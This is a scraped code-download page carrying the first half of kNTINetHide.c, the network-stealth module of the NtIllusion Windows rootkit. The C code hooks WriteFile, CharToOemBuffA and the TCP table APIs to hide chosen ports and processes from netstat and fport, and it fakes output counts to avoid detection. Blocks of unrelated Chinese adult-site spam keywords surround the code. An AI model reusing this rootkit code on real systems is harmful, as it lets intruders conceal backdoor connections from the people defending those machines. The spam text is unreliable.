亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? kntinethide.c

?? rootit uloading by benina
?? C
?? 第 1 頁 / 共 2 頁
字號:
/******************************************************************************
  kNTINetHide.c	: Network stealth
  *****************************************************************************
  Author		: Kdm (Kodmaker@syshell.org)
  WebSite		: http://www.syshell.org

  Copyright (C) 2003,2004 Kdm
  *****************************************************************************
  This file is part of NtIllusion.

  NtIllusion is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.

  NtIllusion is distributed in the hope that it will be useful,
  but WITHOUT ANY WARRANTY; without even the implied warranty of
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  GNU General Public License for more details.

  You should have received a copy of the GNU General Public License
  along with NtIllusion; if not, write to the Free Software
  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  ******************************************************************************/

#include <winsock2.h>				// for socket hijack
#include <tlhelp32.h>				// Tool help 32 functions
#include <windows.h>
#include "kNTINetHide.h"
#include "../../Misc/kNTIConfig.h"
#include "../../Misc/kNTILib.h"

FARPROC fAllocateAndGetTcpExTableFromStack;
FARPROC fGetTcpTable;
FARPROC fCharToOemBuffA;
FARPROC fDeviceIoControl;
FARPROC fWriteFile;
extern FARPROC fGetProcAddress;	// import genuine GetProcAddress

void ShowError()
{
LPVOID lpMsgBuf;
FormatMessage( 
    FORMAT_MESSAGE_ALLOCATE_BUFFER | 
    FORMAT_MESSAGE_FROM_SYSTEM | 
    FORMAT_MESSAGE_IGNORE_INSERTS,
    NULL,
    GetLastError(),
    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
    (LPTSTR) &lpMsgBuf,
    0,
    NULL 
);
// Process any inserts in lpMsgBuf.
// ...
// Display the string.
//OutputString( "Error: %s (%d)\n", (LPCTSTR)lpMsgBuf, GetLastError());
OutputString( "Error: %s\n", (LPCTSTR)lpMsgBuf);
// Free the buffer.
LocalFree( lpMsgBuf );

}

// Convert FPORT.exe's output mode from char by char to line by line to allow hidding
// of lines containing ports to hide
BOOL WINAPI MyWriteFile(
  HANDLE hFile,                    // handle to file to write to
  LPCVOID lpBuffer,                // pointer to data to write to file
  DWORD nNumberOfBytesToWrite,     // number of bytes to write
  LPDWORD lpNumberOfBytesWritten,  // pointer to number of bytes written
  LPOVERLAPPED lpOverlapped        // pointer to structure for overlapped I/O
  ){
	BOOL bret=TRUE;
	static DWORD total_len=0;
	static char PreviousChars[2048*10];	// bof? ;p
	char* chr = (char*)lpBuffer;

	// Get real address using GetProcAddress because the function may not have been hijacked at IAT
	// level but using GetProcAddress()
	if(!fWriteFile) {
		fWriteFile = (FARPROC) fGetProcAddress(GetModuleHandle("kernel32.dll"),"WriteFile");
		if(!fWriteFile) return 0;
	}

	PreviousChars[total_len++] = chr[0]; // add new char
	if(chr[0] == '\r') 
	{

		PreviousChars[total_len] = '\n';
		PreviousChars[++total_len] = '\0';
		// show this line only if it contains no hidden port / process prefix
		if(strstr((char*)PreviousChars,(char*)RTK_PORT_HIDE_STR)==NULL	// hidden port ?
		&& strstr((char*)PreviousChars,(char*)RTK_PROCESS_CHAR)==NULL)  // hidden process ?
		{
			bret = fWriteFile(hFile, (void*)PreviousChars, strlen((char*)PreviousChars), lpNumberOfBytesWritten, lpOverlapped);
		}
		else
		{
			OutputString("[!] NTIllusion made a port hidden (%s* range)\n", (int)RTK_PORT_HIDE_STR);
		}
		
		memset(PreviousChars, 0, 2048);
		total_len= 0;
	}
	(*lpNumberOfBytesWritten) = nNumberOfBytesToWrite; // fake var, so fport can't see output wasn't done
	return bret;
}


// Used by fport to directly get tcp/udp information
// cf http://www.rootkit.com/board.php?thread=1120&did=edge103&disp=1120
// We won't hijack here as dwIoControlCode and data structures are subject to change
BOOL WINAPI MyDeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer,
  DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned,
  LPOVERLAPPED lpOverlapped )
{
	//OutputString("[!] MyDeviceIoControl(dwIoControlCode==%x)\n", dwIoControlCode);
	// Get real address using GetProcAddress because the function may not have been hijacked at IAT
	// level but using GetProcAddress()
	if(!fDeviceIoControl) {
		fDeviceIoControl = (FARPROC) fGetProcAddress(GetModuleHandle("kernel32.dll"),"DeviceIoControl");
		if(!fDeviceIoControl) return 0;
	}
	
	return (*fDeviceIoControl)(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, 
		lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped);
}


//		MyCharToOemBuffA : replace the function used by nestat to convert strings to a different
//		charset before it sends it to output, so we can get rid of some awkward lines...  :)
BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst, DWORD cchDstLength)
{
	// Get real address using GetProcAddress because the function may not have been hijacked at IAT
	// level but using GetProcAddress()
	if(!fCharToOemBuffA) {
		fCharToOemBuffA = (FARPROC) fGetProcAddress(GetModuleHandle("user32.dll"),"CharToOemBuffA");
		if(!fCharToOemBuffA) return 0;
	}

	// If the line contains our range of port, we simply get rid of it.
	if(strstr(lpszSrc,(char*)RTK_PORT_HIDE_STR)!=NULL)
	{
		if(VERBOSE_STEALTH) {
			OutputString("[!] NTIllusion made a port hidden (%s* range)\n", (int)RTK_PORT_HIDE_STR);
		}
		return (*fCharToOemBuffA)("", lpszDst, cchDstLength); 
	}
	return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
}



// Returns 1 if Row must be hidden according to parameters passed
// if( IsHidden( htons((u_short)portX), htons((u_short)portY) ) ) ...
int IsHidden(u_long LocalPort, u_long RemotePort) 
{
	int hidethis=0;

	if(	((LocalPort >=RTK_PORT_HIDE_MIN) &&   (LocalPort<=RTK_PORT_HIDE_MAX))	// local port is in hidden range ?
	||  ((RemotePort>=RTK_PORT_HIDE_MIN) &&   (RemotePort <= RTK_PORT_HIDE_MAX))// remote port is in hidden range ?
	||  (LocalPort *10) == RTK_PORT_HIDE_MIN									// is RTK_PORT_HIDE_STR?			
	||  (RemotePort*10) == RTK_PORT_HIDE_MIN									// is RTK_PORT_HIDE_STR?
	)	
		hidethis=1;
	
	return hidethis;
}

DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL bOrder)
{
	FARPROC fhtons;
	HINSTANCE hLib;
	HINSTANCE hDll;
	u_long LocalPort=0, RemotePort=0;
	DWORD dwRetVal=0, numRows=0;
	FARPROC fGetTcpTable;
	int i,j;


	// Resolve fGetTcpTable
	hLib = LoadLibrary("iphlpapi.dll");
	if(!hLib)
		OutputString("!hlib\n");

	fGetTcpTable = (FARPROC) fGetProcAddress(hLib, "GetTcpTable");
	if(!fGetTcpTable)
		OutputString("!fGetTcpTable\n");

	
	// Resolve htons
	hDll = LoadLibrary("wsock32.dll");
	if(!hDll)
	{
		OutputString("[!]	!hDll\n");
		return 0;
	}
	
	fhtons = (FARPROC) fGetProcAddress(hDll, "htons");
	if(!fhtons)
	{
		OutputString("[!] CANNOT FIND ADDRESS FOR : htons() \n");
		return 0;
	}


	// Call function, if no error, strip unwanted MIB_TCPROWs
	if ((dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder)) == NO_ERROR) 
	{

		// for each row, test if it must be stripped
		for (i=0; i<(int)pTcpTable->dwNumEntries; i++) 
		{

			LocalPort	= (u_short) fhtons((u_short)(pTcpTable)->table[i].dwLocalPort);
			RemotePort	= (u_short) fhtons((u_short)(pTcpTable)->table[i].dwRemotePort);
			OutputString("#	GetTcpTable %d<=>%d\n", LocalPort, RemotePort);

			// If row must be filtered
			if( IsHidden(LocalPort, RemotePort) )
			{
				OutputString("filtering port %d\n", LocalPort);
				
				for(j=i; j<((int)pTcpTable->dwNumEntries - 1); j++)
					memcpy( &(pTcpTable->table[i]), &(pTcpTable->table[i+1]), sizeof(MIB_TCPROW_));
				memset( &(pTcpTable->table[j]), 0x00, sizeof(MIB_TCPROW_));
				
				(*pdwSize)-= sizeof(MIB_TCPROW_);
				(pTcpTable->dwNumEntries)--;
				// o o o o
				// 0 1 2 3

			}	  
		}
	}

	return dwRetVal;
}


//		AllocateAndGetTcpExTableFromStack : Universal TCP ports state review hook.
//		This will hide all connections whose :
//		- local port is in hidden range
//		- remote port is in hidden range
//		- process name starts by RTK_FILE_CHAR
//		- process name is unknow
//		Dued to crosschecks between hijacked functions, any unknown process must be
//		considered as a hidden process.

// Netstat :
// MyAllocateAndGetTcpExTableFromStack only used when flag -o (process associated with
// open port) is triggered.

// consulter les sources de netstatk
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack( 
  PMIB_TCPEXTABLEEx *pTcpTable,	// buffer for the connection table
  BOOL bOrder,					// sort the table?
  HANDLE heap,
  DWORD zero,

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
五月婷婷欧美视频| 国产精品成人网| 色综合一个色综合| 国产在线国偷精品产拍免费yy| 亚洲精品高清在线| 亚洲视频香蕉人妖| 玉足女爽爽91| 亚洲影视在线播放| 亚洲永久精品大片| 亚洲精品高清在线观看| 一区二区三区av电影| 亚洲区小说区图片区qvod| 欧美国产欧美综合| 国产精品久久久久久久久图文区 | 成人高清av在线| 国产成人综合亚洲网站| 国产在线视视频有精品| 国产不卡免费视频| 色老综合老女人久久久| 色欲综合视频天天天| 色94色欧美sute亚洲线路一ni | 手机精品视频在线观看| 日本成人在线不卡视频| 精品亚洲国产成人av制服丝袜| 国产一区在线观看视频| 成人精品电影在线观看| 色哟哟欧美精品| 91精品婷婷国产综合久久性色| 日韩一区二区在线观看| 久久久国产一区二区三区四区小说 | 一区二区三区免费看视频| 亚洲午夜精品网| 经典三级视频一区| 99久久精品免费观看| 欧美午夜片在线看| 久久在线免费观看| 亚洲精选在线视频| 国内精品久久久久影院色| av中文字幕一区| 日韩欧美中文字幕公布| 国产精品污污网站在线观看| 亚洲一级二级三级在线免费观看| 日本亚洲一区二区| 国产露脸91国语对白| 色菇凉天天综合网| 久久久久久久久蜜桃| 久久久www成人免费无遮挡大片| 中文字幕日本不卡| 久久99精品国产麻豆不卡| 在线观看一区二区视频| 久久久精品免费网站| 天堂蜜桃91精品| 91一区二区在线| 久久久精品日韩欧美| 日本免费在线视频不卡一不卡二| 成人免费毛片app| 日韩欧美不卡一区| 亚洲成人av福利| 91玉足脚交白嫩脚丫在线播放| 日韩一区二区电影网| 亚洲免费伊人电影| 国产aⅴ综合色| 久久久亚洲精华液精华液精华液| 同产精品九九九| 99国产精品久久久久久久久久久 | 激情五月婷婷综合| 欧美日韩精品一二三区| 一区二区三区视频在线看| 懂色av中文字幕一区二区三区| 日韩视频在线永久播放| 亚洲一二三四区| 一本色道久久综合亚洲aⅴ蜜桃| 久久久精品2019中文字幕之3| 免费美女久久99| 日韩午夜激情av| 视频一区二区三区入口| 欧美精品三级日韩久久| 亚洲综合丁香婷婷六月香| 91麻豆免费观看| 亚洲人成网站影音先锋播放| 成人的网站免费观看| 国产精品免费视频观看| 国产成人综合亚洲网站| 欧美极品aⅴ影院| 成人精品视频一区二区三区尤物| 久久久久久一二三区| 国产经典欧美精品| 国产欧美一区二区精品仙草咪| 国产成人丝袜美腿| 亚洲欧美自拍偷拍| 91九色最新地址| 午夜日韩在线电影| 欧美一三区三区四区免费在线看 | 久久色在线观看| 国产高清亚洲一区| 亚洲国产高清不卡| 91在线观看美女| 五月天国产精品| 精品福利一区二区三区| 国产精品一级在线| 亚洲欧洲中文日韩久久av乱码| 色中色一区二区| 日韩av二区在线播放| 久久在线免费观看| 91麻豆123| 日本成人在线看| 中文字幕乱码亚洲精品一区| 色婷婷香蕉在线一区二区| 日本在线不卡视频| 国产精品毛片高清在线完整版| 91美女视频网站| 裸体健美xxxx欧美裸体表演| 国产亚洲欧美一区在线观看| 色网综合在线观看| 久久99在线观看| 亚洲欧洲综合另类| 精品国产一区二区精华| 日本道精品一区二区三区| 日本中文字幕一区| 亚洲精品免费电影| 久久久亚洲国产美女国产盗摄| 欧美在线观看一区| 国产99久久久精品| 亚洲一区二区五区| 久久尤物电影视频在线观看| 色欧美88888久久久久久影院| 日韩电影在线免费观看| 国产精品乱码久久久久久| 91精品国产91久久久久久一区二区 | 国产在线精品免费av| 一级日本不卡的影视| 久久美女高清视频| 日韩一区二区三区av| 欧美图片一区二区三区| 国产91丝袜在线播放| 视频一区二区三区中文字幕| 亚洲少妇最新在线视频| 久久精品亚洲精品国产欧美kt∨| 欧美三片在线视频观看| 91啪在线观看| 成人免费电影视频| 国产精品一区二区三区99| 男人的j进女人的j一区| 伊人夜夜躁av伊人久久| 国产精品麻豆网站| 中文字幕不卡在线播放| 国产日本欧美一区二区| 精品久久久三级丝袜| 日韩一级在线观看| 欧美精品乱码久久久久久| 欧美三级电影在线看| 日本韩国一区二区| 成人成人成人在线视频| 成人av在线播放网址| 国产成人午夜精品影院观看视频| 黄色成人免费在线| 精品一区二区三区免费| 久久99精品国产麻豆婷婷| 韩国一区二区在线观看| 青草国产精品久久久久久| 青青草成人在线观看| 免费成人在线播放| 麻豆91免费看| 国产美女视频一区| 国产a精品视频| jlzzjlzz国产精品久久| 91免费视频网| 欧美天天综合网| 538prom精品视频线放| 欧美一级二级三级乱码| 日韩欧美aaaaaa| 欧美激情一区二区三区四区 | 亚洲一区二区三区四区五区黄 | 欧美巨大另类极品videosbest | 六月丁香婷婷色狠狠久久| 国内精品免费**视频| 懂色av噜噜一区二区三区av| youjizz国产精品| 91黄色小视频| 欧美一区二区三区系列电影| 精品久久久久久久久久久久久久久久久 | 中文字幕在线不卡视频| 亚洲综合成人网| 久久精品久久综合| 成人午夜精品在线| 欧美色综合网站| 欧美成人精品高清在线播放| 国产精品美女视频| 五月激情综合网| 成人在线视频一区二区| 欧美日韩成人激情| 久久久久久久久久看片| 亚洲国产三级在线| 激情六月婷婷久久| 欧美色视频在线观看| 精品国产免费一区二区三区四区| 伊人性伊人情综合网| 性久久久久久久| 99在线热播精品免费| 欧美欧美欧美欧美|